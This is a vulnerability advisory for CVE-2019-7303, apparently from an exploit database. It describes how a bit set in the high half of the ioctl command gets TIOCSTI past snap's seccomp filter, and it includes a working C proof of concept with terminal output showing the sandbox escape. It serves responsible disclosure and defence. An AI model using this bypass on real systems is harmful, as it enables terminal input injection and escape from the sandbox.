snap seccomp TIOCSTI Blacklist Circumvention

2019.03.22
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

snap: seccomp blacklist for TIOCSTI can be circumvented Related CVE Numbers: CVE-2019-7303. snap uses a seccomp filter to prevent the use of the TIOCSTI ioctl; in the source code, this filter is expressed as follows: # TIOCSTI allows for faking input (man tty_ioctl) # TODO: this should be scaled back even more ioctl - !TIOCSTI In the X86-64 version of the compiled seccomp filter, this results in the following BPF bytecode: [...] 0139 if nr == 0x00000010: [true +0, false +3] 013b if args[1].high != 0x00000000: [true +205, false +0] -> ret ALLOW (syscalls: ioctl) 0299 if args[1].low == 0x00005412: [true +111, false +112] -> ret ERRNO 030a ret ALLOW (syscalls: ioctl) [...] This bytecode performs a 64-bit comparison; however, the syscall entry point for ioctl() is defined with a 32-bit command argument in the kernel: SYSCALL_DEFINE3(ioctl, unsigned int, fd, unsigned int, cmd, unsigned long, arg) { return ksys_ioctl(fd, cmd, arg); } This means that setting a bit in the high half of the command parameter will circumvent the seccomp filter while being ignored by the kernel. This can be tested as follows on Ubuntu 18.04. You might have to launch the GNOME calculator once first to create the snap directory hierarchy, I'm not sure. ==================================================================== user@ubuntu-18-04-vm:~$ cat tiocsti.c #define _GNU_SOURCE #include <termios.h> #include <sys/ioctl.h> #include <unistd.h> #include <stdio.h> #include <sys/syscall.h> #include <errno.h> static int ioctl64(int fd, unsigned long nr, void *arg) { errno = 0; return syscall(__NR_ioctl, fd, nr, arg); } int main(void) { int res; char pushmeback = '#'; res = ioctl64(0, TIOCSTI, &pushmeback); printf(\"normal TIOCSTI: %d (%m)\ \", res); res = ioctl64(0, TIOCSTI | (1UL<<32), &pushmeback); printf(\"high-bit-set TIOCSTI: %d (%m)\ \", res); } user@ubuntu-18-04-vm:~$ gcc -o tiocsti tiocsti.c -Wall user@ubuntu-18-04-vm:~$ ./tiocsti #normal TIOCSTI: 0 (Success) #high-bit-set TIOCSTI: 0 (Success) user@ubuntu-18-04-vm:~$ ## user@ubuntu-18-04-vm:~$ cp tiocsti /home/user/snap/gnome-calculator/current/tiocsti user@ubuntu-18-04-vm:~$ snap run --shell gnome-calculator [...] user@ubuntu-18-04-vm:/home/user$ cd user@ubuntu-18-04-vm:~$ ./tiocsti normal TIOCSTI: -1 (Operation not permitted) #high-bit-set TIOCSTI: 0 (Success) user@ubuntu-18-04-vm:~$ # user@ubuntu-18-04-vm:~$ pwd /home/user/snap/gnome-calculator/260 user@ubuntu-18-04-vm:~$ ==================================================================== This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. Found by: jannh@google.com


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